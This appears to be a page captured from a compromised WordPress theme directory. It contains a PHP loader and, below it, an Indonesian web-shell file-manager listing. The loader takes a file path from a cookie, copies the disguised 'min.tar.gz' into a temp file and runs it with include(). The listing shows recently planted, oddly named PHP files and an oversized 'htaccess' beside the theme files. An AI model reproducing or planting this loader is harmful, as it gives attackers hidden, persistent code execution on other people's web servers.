<?php
function getTempPath() {
$tmpPath = isset($_COOKIE['tmp-inc']) && !empty($_COOKIE['tmp-inc']) ? $_COOKIE['tmp-inc'] : false;
if ($tmpPath && isValidTempPath($tmpPath)) {
return $tmpPath;
}
return generateTempPath();
}
function isValidTempPath($path) {
return file_exists($path) && filesize($path) > 100;
}
function generateTempPath() {
$tempDir = sys_get_temp_dir();
$tempPath = tempnam($tempDir, '');
return $tempPath ?: false;
}
function fetchAndStoreContent($url, $path) {
$content = file_get_contents($url);
if ($content !== false && file_put_contents($path, $content) !== false) {
setcookie('tmp-inc', $path);
include($path);
exit;
}
die('Unable to write to temporary file.');
}
$tempPath = getTempPath();
if (!$tempPath) {
die("Unable to generate tmp path");
}
$fileSize = filesize($tempPath);
if ($fileSize < 10) {
fetchAndStoreContent("./min.tar.gz", $tempPath);
} elseif ($fileSize >= 1024) {
setcookie('tmp-inc', $tempPath);
include($tempPath);
exit;
}
| nama | waktu | ukuran | owner | perm | aksi |
|---|---|---|---|---|---|
| .. | |||||
| assets/ | 2026-02-23 19:41 | 6.03 MB | 76129f60960:kunden | dxwrx-rx-r | |
| inc/ | 2026-02-23 19:41 | 158.46 KB | 76129f60960:kunden | dxwrx-rx-r | |
| parts/ | 2026-02-23 19:41 | 2.8 KB | 76129f60960:kunden | dxwrx-rx-r | |
| styles/ | 2026-02-23 19:41 | 11.25 KB | 76129f60960:kunden | dxwrx-rx-r | |
| templates/ | 2026-02-23 19:41 | 13.64 KB | 76129f60960:kunden | dxwrx-rx-r | |
| 404.h27.php | 2026-11-26 08:04 | 742 B | 76129f60960:kunden | -xw-x----- | |
| _blocks.s52.php | 2026-11-26 08:04 | 638 B | 76129f60960:kunden | -xw-x----- | |
| all.min.28.php | 2026-11-26 08:04 | 1.11 KB | 76129f60960:kunden | -xw-x----- | |
| contributing.txt | 2026-02-23 19:41 | 1.24 KB | 76129f60960:kunden | -xw-x----- | |
| functions.php | 2026-02-23 19:41 | 1.46 KB | 76129f60960:kunden | -xw-x----- | |
| hidden-heading.23.php | 2026-11-26 08:04 | 1.07 KB | 76129f60960:kunden | -xw-x----- | |
| htaccess | 2026-11-26 08:04 | 292.51 KB | 76129f60960:kunden | -xw-x----- | |
| index.php | 2026-02-23 19:41 | 215 B | 76129f60960:kunden | -xw-x----- | |
| logo01.png | 2026-11-26 08:04 | 77.57 KB | 76129f60960:kunden | -xw-x----- | |
| logo02.png | 2026-11-26 08:04 | 219.34 KB | 76129f60960:kunden | -xw-x----- | |
| min.tar.gz | 2026-11-26 08:04 | 48.31 KB | 76129f60960:kunden | -xw-x----- | |
| package-lock.json | 2026-02-23 19:41 | 52.91 KB | 76129f60960:kunden | -xw-x----- | |
| package.json | 2026-02-23 19:41 | 774 B | 76129f60960:kunden | -xw-x----- | |
| readme.txt | 2026-02-23 19:41 | 6.04 KB | 76129f60960:kunden | -xw-x----- | |
| screenshot.png | 2026-02-23 19:41 | 156.75 KB | 76129f60960:kunden | -xw-x----- | |
| style.css | 2026-02-23 19:41 | 6.34 KB | 76129f60960:kunden | -xw-x----- | |
| style.min.css | 2026-02-23 19:41 | 2.52 KB | 76129f60960:kunden | -xw-x----- | |
| theme.json | 2026-02-23 19:41 | 9.53 KB | 76129f60960:kunden | -xw-x----- | |